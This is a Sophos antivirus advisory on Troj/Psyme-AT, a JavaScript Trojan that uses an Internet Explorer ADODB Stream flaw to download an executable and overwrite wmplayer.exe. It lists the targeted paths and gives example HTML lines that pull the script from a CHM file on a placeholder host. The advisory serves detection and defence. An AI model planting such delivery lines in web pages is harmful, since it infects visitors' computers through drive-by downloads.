Sophos

Troj/Psyme-AT

Category
Type
What to do
Prevalence low high

Summary

 
How it spreads
  • Web browsing
Affected operating systems Windows
Included in our products from November 2004 (3.87)
Protection available since 13 September 2004 09:40:06 (GMT)
Detected by All Sophos products

Action

More Information

Troj/Psyme-AT is a JavaScript Trojan which exploits the ADODB Stream vulnerability associated with Microsoft Internet Explorer to silently download an executable file from a remote server to the local computer.

The executable is saved as wmplayer.exe and wmplayer.exe.bak to the following locations (if they exist), replacing legitimate versions of wmplayer.exe:

C:\Program Files\Windows Media Player\wmplayer.exe
C:\Programmer\Windows Media Player\wmplayer.exe
C:\Program\Windows Media Player\wmplayer.exe
C:\Programme\Windows Media Player\wmplayer.exe
C:\Programmi\Windows Media Player\wmplayer.exe
C:\Programfiler\Windows Media Player\wmplayer.exe
C:\Programas\Windows Media Player\wmplayer.exe
C:\Archivos de programa\Windows Media Player\wmplayer.exe
D:\Program Files\Windows Media Player\wmplayer.exe
D:\Programmer\Windows Media Player\wmplayer.exe
D:\Program\Windows Media Player\wmplayer.exe
D:\Programme\Windows Media Player\wmplayer.exe
D:\Programmi\Windows Media Player\wmplayer.exe
D:\Programfiler\Windows Media Player\wmplayer.exe
D:\Programas\Windows Media Player\wmplayer.exe
D:\Archivos de programa\Windows Media Player\wmplayer.exe

Troj/Psyme-AT can arrive on the computer by browsing websites whose HTML pages
contain the script or by loading a HTML page that contains a link to an infected page. For example a HTML page may contain:

data=html:file://C:\\unknown.mht!http://unknown.com/dial.chm::/x.htm
src=http://unknown.com/dial.chm::/x.htm

where dial.chm is a compiled HTML help file containing x.htm and x.htm is a HTML file containing the Troj/Psyme-AT script.

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